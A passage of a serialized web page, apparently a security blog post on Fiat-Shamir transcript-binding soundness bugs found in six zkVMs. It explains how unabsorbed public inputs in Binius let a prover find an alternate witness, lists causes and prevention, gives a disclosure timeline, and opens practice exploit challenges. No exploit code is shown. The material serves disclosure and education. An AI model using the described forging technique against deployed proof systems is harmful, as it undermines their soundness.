",{"type":23,"tag":71,"props":123974,"children":123976},{"className":123975},[],[123977],{"type":29,"value":63450},{"type":29,"value":20454},{"type":23,"tag":102,"props":123980,"children":123981},{},[123982,123983,123989],{"type":29,"value":980},{"type":23,"tag":71,"props":123984,"children":123986},{"className":123985},[],[123987],{"type":29,"value":123988},"public_eval",{"type":29,"value":123990}," feeds into subsequent verification equations",{"type":23,"tag":32,"props":123992,"children":123993},{},[123994],{"type":29,"value":123995},"The MLE evaluation is linear in the public witness bits:",{"type":23,"tag":32,"props":123997,"children":123998},{},[123999],{"type":23,"tag":71,"props":124000,"children":124002},{"className":124001},[6318,6319],[124003],{"type":23,"tag":230,"props":124004,"children":124006},{"className":124005},[6324],[124007],{"type":23,"tag":230,"props":124008,"children":124010},{"className":124009,"ariaHidden":1726},[6329],[124011,124055,124195,124307],{"type":23,"tag":230,"props":124012,"children":124014},{"className":124013},[6334],[124015,124019,124028,124033,124042,124046,124051],{"type":23,"tag":230,"props":124016,"children":124018},{"className":124017,"style":96239},[6339],[],{"type":23,"tag":230,"props":124020,"children":124022},{"className":124021},[6345,29],[124023],{"type":23,"tag":230,"props":124024,"children":124026},{"className":124025},[6345],[124027],{"type":29,"value":63450},{"type":23,"tag":230,"props":124029,"children":124031},{"className":124030,"style":94826},[6345],[124032],{"type":29,"value":5422},{"type":23,"tag":230,"props":124034,"children":124036},{"className":124035},[6345,29],[124037],{"type":23,"tag":230,"props":124038,"children":124040},{"className":124039},[6345],[124041],{"type":29,"value":2229},{"type":23,"tag":230,"props":124043,"children":124045},{"className":124044,"style":6524},[6426],[],{"type":23,"tag":230,"props":124047,"children":124049},{"className":124048},[6529],[124050],{"type":29,"value":863},{"type":23,"tag":230,"props":124052,"children":124054},{"className":124053,"style":6524},[6426],[],{"type":23,"tag":230,"props":124056,"children":124058},{"className":124057},[6334],[124059,124063,124135,124139,124152,124157,124162,124167,124172,124177,124182,124186,124191],{"type":23,"tag":230,"props":124060,"children":124062},{"className":124061,"style":120588},[6339],[],{"type":23,"tag":230,"props":124064,"children":124066},{"className":124065},[23938],[124067,124072],{"type":23,"tag":230,"props":124068,"children":124070},{"className":124069,"style":23945},[23938,23943,23944],[124071],{"type":29,"value":110621},{"type":23,"tag":230,"props":124073,"children":124075},{"className":124074},[6362],[124076],{"type":23,"tag":230,"props":124077,"children":124079},{"className":124078},[6367,23956],[124080,124124],{"type":23,"tag":230,"props":124081,"children":124083},{"className":124082},[6372],[124084,124119],{"type":23,"tag":230,"props":124085,"children":124087},{"className":124086,"style":115498},[6377],[124088],{"type":23,"tag":230,"props":124089,"children":124090},{"style":23969},[124091,124095],{"type":23,"tag":230,"props":124092,"children":124094},{"className":124093,"style":6387},[6386],[],{"type":23,"tag":230,"props":124096,"children":124098},{"className":124097},[6392,6393,6394,6395],[124099],{"type":23,"tag":230,"props":124100,"children":124102},{"className":124101},[6345,6395],[124103,124109,124114],{"type":23,"tag":230,"props":124104,"children":124107},{"className":124105,"style":124106},[6345,23902,6395],"margin-right:0.02691em;",[124108],{"type":29,"value":51344},{"type":23,"tag":230,"props":124110,"children":124112},{"className":124111},[6458,6395],[124113],{"type":29,"value":6461},{"type":23,"tag":230,"props":124115,"children":124117},{"className":124116},[6345,23902,6395],[124118],{"type":29,"value":5561},{"type":23,"tag":230,"props":124120,"children":124122},{"className":124121},[24059],[124123],{"type":29,"value":24062},{"type":23,"tag":230,"props":124125,"children":124127},{"className":124126},[6372],[124128],{"type":23,"tag":230,"props":124129,"children":124131},{"className":124130,"style":116064},[6377],[124132],{"type":23,"tag":230,"props":124133,"children":124134},{},[],{"type":23,"tag":230,"props":124136,"children":124138},{"className":124137,"style":6465},[6426],[],{"type":23,"tag":230,"props":124140,"children":124142},{"className":124141},[6345],[124143],{"type":23,"tag":230,"props":124144,"children":124146},{"className":124145},[6345,29],[124147],{"type":23,"tag":230,"props":124148,"children":124150},{"className":124149},[6345],[124151],{"type":29,"value":63450},{"type":23,"tag":230,"props":124153,"children":124155},{"className":124154},[24031],[124156],{"type":29,"value":6069},{"type":23,"tag":230,"props":124158,"children":124160},{"className":124159,"style":124106},[6345,23902],[124161],{"type":29,"value":51344},{"type":23,"tag":230,"props":124163,"children":124165},{"className":124164},[24053],[124166],{"type":29,"value":17735},{"type":23,"tag":230,"props":124168,"children":124170},{"className":124169},[24031],[124171],{"type":29,"value":6069},{"type":23,"tag":230,"props":124173,"children":124175},{"className":124174},[6345,23902],[124176],{"type":29,"value":5561},{"type":23,"tag":230,"props":124178,"children":124180},{"className":124179},[24053],[124181],{"type":29,"value":17735},{"type":23,"tag":230,"props":124183,"children":124185},{"className":124184,"style":6427},[6426],[],{"type":23,"tag":230,"props":124187,"children":124189},{"className":124188},[6432],[124190],{"type":29,"value":113088},{"type":23,"tag":230,"props":124192,"children":124194},{"className":124193,"style":6427},[6426],[],{"type":23,"tag":230,"props":124196,"children":124198},{"className":124197},[6334],[124199,124204,124213,124218,124223,124228,124232,124289,124294,124298,124303],{"type":23,"tag":230,"props":124200,"children":124203},{"className":124201,"style":124202},[6339],"height:1.0361em;vertical-align:-0.2861em;",[],{"type":23,"tag":230,"props":124205,"children":124207},{"className":124206},[6345,29],[124208],{"type":23,"tag":230,"props":124209,"children":124211},{"className":124210},[6345],[124212],{"type":29,"value":114415},{"type":23,"tag":230,"props":124214,"children":124216},{"className":124215},[24031],[124217],{"type":29,"value":302},{"type":23,"tag":230,"props":124219,"children":124221},{"className":124220},[6345,23902],[124222],{"type":29,"value":5561},{"type":23,"tag":230,"props":124224,"children":124226},{"className":124225},[6458],[124227],{"type":29,"value":6461},{"type":23,"tag":230,"props":124229,"children":124231},{"className":124230,"style":6465},[6426],[],{"type":23,"tag":230,"props":124233,"children":124235},{"className":124234},[6345],[124236,124241],{"type":23,"tag":230,"props":124237,"children":124239},{"className":124238,"style":94826},[6345,23902],[124240],{"type":29,"value":95645},{"type":23,"tag":230,"props":124242,"children":124244},{"className":124243},[6362],[124245],{"type":23,"tag":230,"props":124246,"children":124248},{"className":124247},[6367,23956],[124249,124278],{"type":23,"tag":230,"props":124250,"children":124252},{"className":124251},[6372],[124253,124273],{"type":23,"tag":230,"props":124254,"children":124256},{"className":124255,"style":95355},[6377],[124257],{"type":23,"tag":230,"props":124258,"children":124259},{"style":111825},[124260,124264],{"type":23,"tag":230,"props":124261,"children":124263},{"className":124262,"style":6387},[6386],[],{"type":23,"tag":230,"props":124265,"children":124267},{"className":124266},[6392,6393,6394,6395],[124268],{"type":23,"tag":230,"props":124269,"children":124271},{"className":124270,"style":116049},[6345,23902,6395],[124272],{"type":29,"value":10992},{"type":23,"tag":230,"props":124274,"children":124276},{"className":124275},[24059],[124277],{"type":29,"value":24062},{"type":23,"tag":230,"props":124279,"children":124281},{"className":124280},[6372],[124282],{"type":23,"tag":230,"props":124283,"children":124285},{"className":124284,"style":120736},[6377],[124286],{"type":23,"tag":230,"props":124287,"children":124288},{},[],{"type":23,"tag":230,"props":124290,"children":124292},{"className":124291},[24053],[124293],{"type":29,"value":5467},{"type":23,"tag":230,"props":124295,"children":124297},{"className":124296,"style":6427},[6426],[],{"type":23,"tag":230,"props":124299,"children":124301},{"className":124300},[6432],[124302],{"type":29,"value":113088},{"type":23,"tag":230,"props":124304,"children":124306},{"className":124305,"style":6427},[6426],[],{"type":23,"tag":230,"props":124308,"children":124310},{"className":124309},[6334],[124311,124315,124324,124329,124334,124339,124343,124353,124358,124367,124372,124381],{"type":23,"tag":230,"props":124312,"children":124314},{"className":124313,"style":94768},[6339],[],{"type":23,"tag":230,"props":124316,"children":124318},{"className":124317},[6345,29],[124319],{"type":23,"tag":230,"props":124320,"children":124322},{"className":124321},[6345],[124323],{"type":29,"value":114415},{"type":23,"tag":230,"props":124325,"children":124327},{"className":124326},[24031],[124328],{"type":29,"value":302},{"type":23,"tag":230,"props":124330,"children":124332},{"className":124331,"style":124106},[6345,23902],[124333],{"type":29,"value":51344},{"type":23,"tag":230,"props":124335,"children":124337},{"className":124336},[6458],[124338],{"type":29,"value":6461},{"type":23,"tag":230,"props":124340,"children":124342},{"className":124341,"style":6465},[6426],[],{"type":23,"tag":230,"props":124344,"children":124346},{"className":124345},[6345,29],[124347],{"type":23,"tag":230,"props":124348,"children":124350},{"className":124349},[6345],[124351],{"type":29,"value":124352},"inout",{"type":23,"tag":230,"props":124354,"children":124356},{"className":124355,"style":94826},[6345],[124357],{"type":29,"value":5422},{"type":23,"tag":230,"props":124359,"children":124361},{"className":124360},[6345,29],[124362],{"type":23,"tag":230,"props":124363,"children":124365},{"className":124364},[6345],[124366],{"type":29,"value":2229},{"type":23,"tag":230,"props":124368,"children":124370},{"className":124369,"style":94826},[6345],[124371],{"type":29,"value":5422},{"type":23,"tag":230,"props":124373,"children":124375},{"className":124374},[6345,29],[124376],{"type":23,"tag":230,"props":124377,"children":124379},{"className":124378},[6345],[124380],{"type":29,"value":119611},{"type":23,"tag":230,"props":124382,"children":124384},{"className":124383},[24053],[124385],{"type":29,"value":5467},{"type":23,"tag":32,"props":124387,"children":124388},{},[124389,124391,124396,124398,124471],{"type":29,"value":124390},"With challenges fixed (independent of ",{"type":23,"tag":71,"props":124392,"children":124394},{"className":124393},[],[124395],{"type":29,"value":63450},{"type":29,"value":124397},"), an attacker can find an alternate witness ",{"type":23,"tag":71,"props":124399,"children":124401},{"className":124400},[6318,6319],[124402],{"type":23,"tag":230,"props":124403,"children":124405},{"className":124404},[6324],[124406],{"type":23,"tag":230,"props":124407,"children":124409},{"className":124408,"ariaHidden":1726},[6329],[124410],{"type":23,"tag":230,"props":124411,"children":124413},{"className":124412},[6334],[124414,124419],{"type":23,"tag":230,"props":124415,"children":124418},{"className":124416,"style":124417},[6339],"height:1.0307em;vertical-align:-0.1944em;",[],{"type":23,"tag":230,"props":124420,"children":124422},{"className":124421},[6345],[124423,124432],{"type":23,"tag":230,"props":124424,"children":124426},{"className":124425},[6345,29],[124427],{"type":23,"tag":230,"props":124428,"children":124430},{"className":124429},[6345],[124431],{"type":29,"value":63450},{"type":23,"tag":230,"props":124433,"children":124435},{"className":124434},[6362],[124436],{"type":23,"tag":230,"props":124437,"children":124439},{"className":124438},[6367],[124440],{"type":23,"tag":230,"props":124441,"children":124443},{"className":124442},[6372],[124444],{"type":23,"tag":230,"props":124445,"children":124448},{"className":124446,"style":124447},[6377],"height:0.8362em;",[124449],{"type":23,"tag":230,"props":124450,"children":124452},{"style":124451},"top:-3.1473em;margin-right:0.05em;",[124453,124457],{"type":23,"tag":230,"props":124454,"children":124456},{"className":124455,"style":6387},[6386],[],{"type":23,"tag":230,"props":124458,"children":124460},{"className":124459},[6392,6393,6394,6395],[124461],{"type":23,"tag":230,"props":124462,"children":124464},{"className":124463},[6345,6395],[124465],{"type":23,"tag":230,"props":124466,"children":124468},{"className":124467},[6345,6395],[124469],{"type":29,"value":124470},"′",{"type":29,"value":124472}," that produces the same evaluation. This is a single 128-bit linear constraint over hundreds of bits, yielding a single linear equation in a high-dimensional binary witness space, which is typically underconstrained and admits many alternative witnesses under common parameterizations.",{"type":23,"tag":32,"props":124474,"children":124475},{},[124476,124480,124482],{"type":23,"tag":2302,"props":124477,"children":124478},{},[124479],{"type":29,"value":118536},{"type":29,"value":124481}," Fixed on December 29, 2025 via ",{"type":23,"tag":181,"props":124483,"children":124486},{"href":124484,"rel":124485},"https://github.com/binius-zk/binius64/pull/1355/commits/86a515f0632d2acdf547ed82780dfe7f9f39358f",[185],[124487],{"type":29,"value":124488},"commit 86a515f",{"type":23,"tag":21113,"props":124490,"children":124491},{},[],{"type":23,"tag":24,"props":124493,"children":124495},{"id":124494},"why-does-this-keep-happening",[124496],{"type":29,"value":124497},"Why Does This Keep Happening?",{"type":23,"tag":32,"props":124499,"children":124500},{},[124501],{"type":29,"value":124502},"Given that we found the same bug class in six independent implementations, at some point we have to ask whether there is a systemic issue making this mistake so common.",{"type":23,"tag":59,"props":124504,"children":124506},{"id":124505},"academic-papers-dont-specify-fiat-shamir",[124507],{"type":29,"value":124508},"Academic Papers Don't Specify Fiat-Shamir",{"type":23,"tag":32,"props":124510,"children":124511},{},[124512,124514,124519,124521,124546,124548,124551,124553,124578,124580,124607],{"type":29,"value":124513},"Academic papers usually describe ",{"type":23,"tag":2258,"props":124515,"children":124516},{},[124517],{"type":29,"value":124518},"interactive",{"type":29,"value":124520}," protocols: \"Prover sends ",{"type":23,"tag":71,"props":124522,"children":124524},{"className":124523},[6318,6319],[124525],{"type":23,"tag":230,"props":124526,"children":124528},{"className":124527},[6324],[124529],{"type":23,"tag":230,"props":124530,"children":124532},{"className":124531,"ariaHidden":1726},[6329],[124533],{"type":23,"tag":230,"props":124534,"children":124536},{"className":124535},[6334],[124537,124541],{"type":23,"tag":230,"props":124538,"children":124540},{"className":124539,"style":23897},[6339],[],{"type":23,"tag":230,"props":124542,"children":124544},{"className":124543,"style":24434},[6345,23902],[124545],{"type":29,"value":118055},{"type":29,"value":124547},". Verifier sends",{"type":23,"tag":33276,"props":124549,"children":124550},{},[],{"type":29,"value":124552},"random ",{"type":23,"tag":71,"props":124554,"children":124556},{"className":124555},[6318,6319],[124557],{"type":23,"tag":230,"props":124558,"children":124560},{"className":124559},[6324],[124561],{"type":23,"tag":230,"props":124562,"children":124564},{"className":124563,"ariaHidden":1726},[6329],[124565],{"type":23,"tag":230,"props":124566,"children":124568},{"className":124567},[6334],[124569,124573],{"type":23,"tag":230,"props":124570,"children":124572},{"className":124571,"style":112667},[6339],[],{"type":23,"tag":230,"props":124574,"children":124576},{"className":124575,"style":94826},[6345,23902],[124577],{"type":29,"value":95645},{"type":29,"value":124579},". Prover sends ",{"type":23,"tag":71,"props":124581,"children":124583},{"className":124582},[6318,6319],[124584],{"type":23,"tag":230,"props":124585,"children":124587},{"className":124586},[6324],[124588],{"type":23,"tag":230,"props":124589,"children":124591},{"className":124590,"ariaHidden":1726},[6329],[124592],{"type":23,"tag":230,"props":124593,"children":124595},{"className":124594},[6334],[124596,124600],{"type":23,"tag":230,"props":124597,"children":124599},{"className":124598,"style":23897},[6339],[],{"type":23,"tag":230,"props":124601,"children":124604},{"className":124602,"style":124603},[6345,23902],"margin-right:0.00773em;",[124605],{"type":29,"value":124606},"R",{"type":29,"value":124608},".\"",{"type":23,"tag":32,"props":124610,"children":124611},{},[124612,124614,124639,124641,124666],{"type":29,"value":124613},"They often omit the necessary steps to make the protocol non-interactive: \"Hash ",{"type":23,"tag":71,"props":124615,"children":124617},{"className":124616},[6318,6319],[124618],{"type":23,"tag":230,"props":124619,"children":124621},{"className":124620},[6324],[124622],{"type":23,"tag":230,"props":124623,"children":124625},{"className":124624,"ariaHidden":1726},[6329],[124626],{"type":23,"tag":230,"props":124627,"children":124629},{"className":124628},[6334],[124630,124634],{"type":23,"tag":230,"props":124631,"children":124633},{"className":124632,"style":23897},[6339],[],{"type":23,"tag":230,"props":124635,"children":124637},{"className":124636,"style":24434},[6345,23902],[124638],{"type":29,"value":118055},{"type":29,"value":124640}," before sampling ",{"type":23,"tag":71,"props":124642,"children":124644},{"className":124643},[6318,6319],[124645],{"type":23,"tag":230,"props":124646,"children":124648},{"className":124647},[6324],[124649],{"type":23,"tag":230,"props":124650,"children":124652},{"className":124651,"ariaHidden":1726},[6329],[124653],{"type":23,"tag":230,"props":124654,"children":124656},{"className":124655},[6334],[124657,124661],{"type":23,"tag":230,"props":124658,"children":124660},{"className":124659,"style":112667},[6339],[],{"type":23,"tag":230,"props":124662,"children":124664},{"className":124663,"style":94826},[6345,23902],[124665],{"type":29,"value":95645},{"type":29,"value":124667},". Also hash the public statement. Also hash intermediate values that affect later equations.\"",{"type":23,"tag":32,"props":124669,"children":124670},{},[124671],{"type":29,"value":124672},"Security proofs thus also analyze the interactive protocols where binding is implicit. The responsibility of determining what to include in the transcript therefore falls on the implementor, which may not have a good understanding of the full protocol.",{"type":23,"tag":59,"props":124674,"children":124676},{"id":124675},"the-hot-potato-problem",[124677],{"type":29,"value":124678},"The Hot Potato Problem",{"type":23,"tag":32,"props":124680,"children":124681},{},[124682],{"type":29,"value":124683},"Modern zkVMs are modular:",{"type":23,"tag":32,"props":124685,"children":124686},{},[124687],{"type":23,"tag":93,"props":124688,"children":124691},{"alt":124689,"src":124690},"11_hot_potato","/posts/zkvms-unfaithful-claims/11_hot_potato.svg",[],{"type":23,"tag":32,"props":124693,"children":124694},{},[124695],{"type":29,"value":124696},"It often happens that each layer assumes the previous/next layer handles the transcript binding for a value, so in the end it never happens.",{"type":23,"tag":59,"props":124698,"children":124700},{"id":124699},"optimization-pressure",[124701],{"type":29,"value":124702},"Optimization Pressure",{"type":23,"tag":32,"props":124704,"children":124705},{},[124706],{"type":29,"value":124707},"Performance is existential for ZK. Since every hash operation has a cost, there is constant pressure to exclude values that are \"probably fine\" to leave out.",{"type":23,"tag":32,"props":124709,"children":124710},{},[124711],{"type":29,"value":124712},"There are indeed cases when this can be done safely, but determining what is safe requires a full understanding of all protocols involved, and the decision to exclude something should be double and triple checked by experts.",{"type":23,"tag":59,"props":124714,"children":124716},{"id":124715},"testing-doesnt-catch-adversarial-inputs",[124717],{"type":29,"value":124718},"Testing Doesn't Catch Adversarial Inputs",{"type":23,"tag":32,"props":124720,"children":124721},{},[124722],{"type":29,"value":124723},"Unit tests run the honest prover. Integration tests run the honest prover. Fuzzing only randomly perturbs values and has a very low probability of succeeding in fooling a verifier. Identifying Fiat-Shamir bugs requires thorough manual security analysis, and sometimes even that falls short.",{"type":23,"tag":21113,"props":124725,"children":124726},{},[],{"type":23,"tag":24,"props":124728,"children":124730},{"id":124729},"how-to-find-and-fix-these-bugs",[124731],{"type":29,"value":124732},"How to Find and Fix These Bugs",{"type":23,"tag":59,"props":124734,"children":124736},{"id":124735},"prevention",[124737],{"type":29,"value":124738},"Prevention",{"type":23,"tag":32,"props":124740,"children":124741},{},[124742],{"type":29,"value":124743},"Fiat-Shamir has long been a known source of soundness bugs, which has driven the development of primitives that make implementation less error-prone.",{"type":23,"tag":32,"props":124745,"children":124746},{},[124747],{"type":29,"value":124748},"One such tool is to merge the proof and transcript, to force all values that are sent by the prover to be automatically absorbed into the transcript.",{"type":23,"tag":32,"props":124750,"children":124751},{},[124752],{"type":29,"value":124753},"The prover holds a proof buffer which emulates the communication channel between prover and verifier. When a value is sent by the prover it is added to the proof buffer and automatically absorbed into the transcript. When the prover then needs to read a challenge from the verifier it simply squeezes from the current transcript.",{"type":23,"tag":32,"props":124755,"children":124756},{},[124757],{"type":29,"value":124758},"This can then be done in reverse for the verifier. It gradually reads values from the proof buffer and can thus sync the transcript state and derive the same challenges.",{"type":23,"tag":32,"props":124760,"children":124761},{},[124762],{"type":29,"value":124763},"Halo2 follows this pattern, and Binius is transcript-centric as well. But even with a merged proof/transcript, statement data (e.g., public inputs) must still be absorbed before sampling any challenges that govern equations depending on them—and as Binius demonstrates, even transcript-centric systems can miss this.",{"type":23,"tag":21113,"props":124765,"children":124766},{},[],{"type":23,"tag":24,"props":124768,"children":124770},{"id":124769},"responsible-disclosure-timeline",[124771],{"type":29,"value":124772},"Responsible Disclosure Timeline",{"type":23,"tag":57518,"props":124774,"children":124775},{},[124776,124804],{"type":23,"tag":124777,"props":124778,"children":124779},"thead",{},[124780],{"type":23,"tag":124781,"props":124782,"children":124783},"tr",{},[124784,124789,124794,124799],{"type":23,"tag":124785,"props":124786,"children":124787},"th",{},[124788],{"type":29,"value":25523},{"type":23,"tag":124785,"props":124790,"children":124791},{},[124792],{"type":29,"value":124793},"Reported",{"type":23,"tag":124785,"props":124795,"children":124796},{},[124797],{"type":29,"value":124798},"Fixed",{"type":23,"tag":124785,"props":124800,"children":124801},{},[124802],{"type":29,"value":124803},"Response Time",{"type":23,"tag":124805,"props":124806,"children":124807},"tbody",{},[124808,124831,124852,124872,124894,124915],{"type":23,"tag":124781,"props":124809,"children":124810},{},[124811,124816,124821,124826],{"type":23,"tag":124812,"props":124813,"children":124814},"td",{},[124815],{"type":29,"value":109639},{"type":23,"tag":124812,"props":124817,"children":124818},{},[124819],{"type":29,"value":124820},"Sep 2025",{"type":23,"tag":124812,"props":124822,"children":124823},{},[124824],{"type":29,"value":124825},"Oct 3, 2025",{"type":23,"tag":124812,"props":124827,"children":124828},{},[124829],{"type":29,"value":124830},"\u003C1 week",{"type":23,"tag":124781,"props":124832,"children":124833},{},[124834,124838,124843,124848],{"type":23,"tag":124812,"props":124835,"children":124836},{},[124837],{"type":29,"value":109645},{"type":23,"tag":124812,"props":124839,"children":124840},{},[124841],{"type":29,"value":124842},"Oct 2025",{"type":23,"tag":124812,"props":124844,"children":124845},{},[124846],{"type":29,"value":124847},"Oct 24, 2025",{"type":23,"tag":124812,"props":124849,"children":124850},{},[124851],{"type":29,"value":124830},{"type":23,"tag":124781,"props":124853,"children":124854},{},[124855,124859,124863,124868],{"type":23,"tag":124812,"props":124856,"children":124857},{},[124858],{"type":29,"value":109651},{"type":23,"tag":124812,"props":124860,"children":124861},{},[124862],{"type":29,"value":124842},{"type":23,"tag":124812,"props":124864,"children":124865},{},[124866],{"type":29,"value":124867},"Oct 31, 2025",{"type":23,"tag":124812,"props":124869,"children":124870},{},[124871],{"type":29,"value":124830},{"type":23,"tag":124781,"props":124873,"children":124874},{},[124875,124879,124884,124889],{"type":23,"tag":124812,"props":124876,"children":124877},{},[124878],{"type":29,"value":109657},{"type":23,"tag":124812,"props":124880,"children":124881},{},[124882],{"type":29,"value":124883},"Nov 2025",{"type":23,"tag":124812,"props":124885,"children":124886},{},[124887],{"type":29,"value":124888},"Mar 5, 2026",{"type":23,"tag":124812,"props":124890,"children":124891},{},[124892],{"type":29,"value":124893},"~4 months",{"type":23,"tag":124781,"props":124895,"children":124896},{},[124897,124901,124906,124911],{"type":23,"tag":124812,"props":124898,"children":124899},{},[124900],{"type":29,"value":109669},{"type":23,"tag":124812,"props":124902,"children":124903},{},[124904],{"type":29,"value":124905},"Dec 2025",{"type":23,"tag":124812,"props":124907,"children":124908},{},[124909],{"type":29,"value":124910},"Dec 29, 2025",{"type":23,"tag":124812,"props":124912,"children":124913},{},[124914],{"type":29,"value":124830},{"type":23,"tag":124781,"props":124916,"children":124917},{},[124918,124922,124926,124931],{"type":23,"tag":124812,"props":124919,"children":124920},{},[124921],{"type":29,"value":109663},{"type":23,"tag":124812,"props":124923,"children":124924},{},[124925],{"type":29,"value":124883},{"type":23,"tag":124812,"props":124927,"children":124928},{},[124929],{"type":29,"value":124930},"Jan 21, 2026?",{"type":23,"tag":124812,"props":124932,"children":124933},{},[124934],{"type":29,"value":124935},"3 months",{"type":23,"tag":32,"props":124937,"children":124938},{},[124939],{"type":29,"value":124940},"All six teams were notified; responses ranged from immediate acknowledgement to delayed fix, and all reported issues have since been addressed.",{"type":23,"tag":21113,"props":124942,"children":124943},{},[],{"type":23,"tag":24,"props":124945,"children":124947},{"id":124946},"challenges",[124948],{"type":29,"value":109682},{"type":23,"tag":32,"props":124950,"children":124951},{},[124952,124954],{"type":29,"value":124953},"Do you think you have a good understanding of these bugs? We have prepared challenges to allow you to practice implementing two of these exploits. If you solve any of them, follow the instructions in the flag ",{"type":23,"tag":124955,"props":124956,"children":124957},"del",{},[124958],{"type":29,"value":124959},"the first 10 solvers will get a T-shirt.",{"type":23,"tag":32,"props":124961,"children":124962},{},[124963,124965,125018,125019,125275],{"type":29,"value":124964},"Your goal is to find a counter example of Fermat's Last Theorem, i.e you know ",{"type":23,"tag":71,"props":124966,"children":124968},{"className":124967},[6318,6319],[124969],{"type":23,"tag":230,"props":124970,"children":124972},{"className":124971},[6324],[124973],{"type":23,"tag":230,"props":124974,"children":124976},{"className":124975,"ariaHidden":1726},[6329],[124977],{"type":23,"tag":230,"props":124978,"children":124980},{"className":124979},[6334],[124981,124985,124990,124995,124999,125004,125009,125013],{"type":23,"tag":230,"props":124982,"children":124984},{"className":124983,"style":116881},[6339],[],{"type":23,"tag":230,"props":124986,"children":124988},{"className":124987},[6345,23902],[124989],{"type":29,"value":181},{"type":23,"tag":230,"props":124991,"children":124993},{"className":124992},[6458],[124994],{"type":29,"value":6461},{"type":23,"tag":230,"props":124996,"children":124998},{"className":124997,"style":6465},[6426],[],{"type":23,"tag":230,"props":125000,"children":125002},{"className":125001},[6345,23902],[125003],{"type":29,"value":5561},{"type":23,"tag":230,"props":125005,"children":125007},{"className":125006},[6458],[125008],{"type":29,"value":6461},{"type":23,"tag":230,"props":125010,"children":125012},{"className":125011,"style":6465},[6426],[],{"type":23,"tag":230,"props":125014,"children":125016},{"className":125015},[6345,23902],[125017],{"type":29,"value":2148},{"type":29,"value":111482},{"type":23,"tag":71,"props":125020,"children":125022},{"className":125021},[6318,6319],[125023],{"type":23,"tag":230,"props":125024,"children":125026},{"className":125025},[6324],[125027],{"type":23,"tag":230,"props":125028,"children":125030},{"className":125029,"ariaHidden":1726},[6329],[125031,125094,125156,125262],{"type":23,"tag":230,"props":125032,"children":125034},{"className":125033},[6334],[125035,125040,125081,125085,125090],{"type":23,"tag":230,"props":125036,"children":125039},{"className":125037,"style":125038},[6339],"height:0.8974em;vertical-align:-0.0833em;",[],{"type":23,"tag":230,"props":125041,"children":125043},{"className":125042},[6345],[125044,125049],{"type":23,"tag":230,"props":125045,"children":125047},{"className":125046},[6345,23902],[125048],{"type":29,"value":181},{"type":23,"tag":230,"props":125050,"children":125052},{"className":125051},[6362],[125053],{"type":23,"tag":230,"props":125054,"children":125056},{"className":125055},[6367],[125057],{"type":23,"tag":230,"props":125058,"children":125060},{"className":125059},[6372],[125061],{"type":23,"tag":230,"props":125062,"children":125064},{"className":125063,"style":6340},[6377],[125065],{"type":23,"tag":230,"props":125066,"children":125067},{"style":6381},[125068,125072],{"type":23,"tag":230,"props":125069,"children":125071},{"className":125070,"style":6387},[6386],[],{"type":23,"tag":230,"props":125073,"children":125075},{"className":125074},[6392,6393,6394,6395],[125076],{"type":23,"tag":230,"props":125077,"children":125079},{"className":125078},[6345,6395],[125080],{"type":29,"value":19616},{"type":23,"tag":230,"props":125082,"children":125084},{"className":125083,"style":6427},[6426],[],{"type":23,"tag":230,"props":125086,"children":125088},{"className":125087},[6432],[125089],{"type":29,"value":6719},{"type":23,"tag":230,"props":125091,"children":125093},{"className":125092,"style":6427},[6426],[],{"type":23,"tag":230,"props":125095,"children":125097},{"className":125096},[6334],[125098,125102,125143,125147,125152],{"type":23,"tag":230,"props":125099,"children":125101},{"className":125100,"style":6340},[6339],[],{"type":23,"tag":230,"props":125103,"children":125105},{"className":125104},[6345],[125106,125111],{"type":23,"tag":230,"props":125107,"children":125109},{"className":125108},[6345,23902],[125110],{"type":29,"value":5561},{"type":23,"tag":230,"props":125112,"children":125114},{"className":125113},[6362],[125115],{"type":23,"tag":230,"props":125116,"children":125118},{"className":125117},[6367],[125119],{"type":23,"tag":230,"props":125120,"children":125122},{"className":125121},[6372],[125123],{"type":23,"tag":230,"props":125124,"children":125126},{"className":125125,"style":6340},[6377],[125127],{"type":23,"tag":230,"props":125128,"children":125129},{"style":6381},[125130,125134],{"type":23,"tag":230,"props":125131,"children":125133},{"className":125132,"style":6387},[6386],[],{"type":23,"tag":230,"props":125135,"children":125137},{"className":125136},[6392,6393,6394,6395],[125138],{"type":23,"tag":230,"props":125139,"children":125141},{"className":125140},[6345,6395],[125142],{"type":29,"value":19616},{"type":23,"tag":230,"props":125144,"children":125146},{"className":125145,"style":6524},[6426],[],{"type":23,"tag":230,"props":125148,"children":125150},{"className":125149},[6529],[125151],{"type":29,"value":863},{"type":23,"tag":230,"props":125153,"children":125155},{"className":125154,"style":6524},[6426],[],{"type":23,"tag":230,"props":125157,"children":125159},{"className":125158},[6334],[125160,125165,125206,125211,125215,125220,125225,125229,125234,125239,125243,125248,125252,125258],{"type":23,"tag":230,"props":125161,"children":125164},{"className":125162,"style":125163},[6339],"height:1.0085em;vertical-align:-0.1944em;",[],{"type":23,"tag":230,"props":125166,"children":125168},{"className":125167},[6345],[125169,125174],{"type":23,"tag":230,"props":125170,"children":125172},{"className":125171},[6345,23902],[125173],{"type":29,"value":2148},{"type":23,"tag":230,"props":125175,"children":125177},{"className":125176},[6362],[125178],{"type":23,"tag":230,"props":125179,"children":125181},{"className":125180},[6367],[125182],{"type":23,"tag":230,"props":125183,"children":125185},{"className":125184},[6372],[125186],{"type":23,"tag":230,"props":125187,"children":125189},{"className":125188,"style":6340},[6377],[125190],{"type":23,"tag":230,"props":125191,"children":125192},{"style":6381},[125193,125197],{"type":23,"tag":230,"props":125194,"children":125196},{"className":125195,"style":6387},[6386],[],{"type":23,"tag":230,"props":125198,"children":125200},{"className":125199},[6392,6393,6394,6395],[125201],{"type":23,"tag":230,"props":125202,"children":125204},{"className":125203},[6345,6395],[125205],{"type":29,"value":19616},{"type":23,"tag":230,"props":125207,"children":125209},{"className":125208},[6458],[125210],{"type":29,"value":6461},{"type":23,"tag":230,"props":125212,"children":125214},{"className":125213,"style":6465},[6426],[],{"type":23,"tag":230,"props":125216,"children":125218},{"className":125217},[6345,23902],[125219],{"type":29,"value":181},{"type":23,"tag":230,"props":125221,"children":125223},{"className":125222},[6458],[125224],{"type":29,"value":6461},{"type":23,"tag":230,"props":125226,"children":125228},{"className":125227,"style":6465},[6426],[],{"type":23,"tag":230,"props":125230,"children":125232},{"className":125231},[6345,23902],[125233],{"type":29,"value":5561},{"type":23,"tag":230,"props":125235,"children":125237},{"className":125236},[6458],[125238],{"type":29,"value":6461},{"type":23,"tag":230,"props":125240,"children":125242},{"className":125241,"style":6465},[6426],[],{"type":23,"tag":230,"props":125244,"children":125246},{"className":125245},[6345,23902],[125247],{"type":29,"value":2148},{"type":23,"tag":230,"props":125249,"children":125251},{"className":125250,"style":6524},[6426],[],{"type":23,"tag"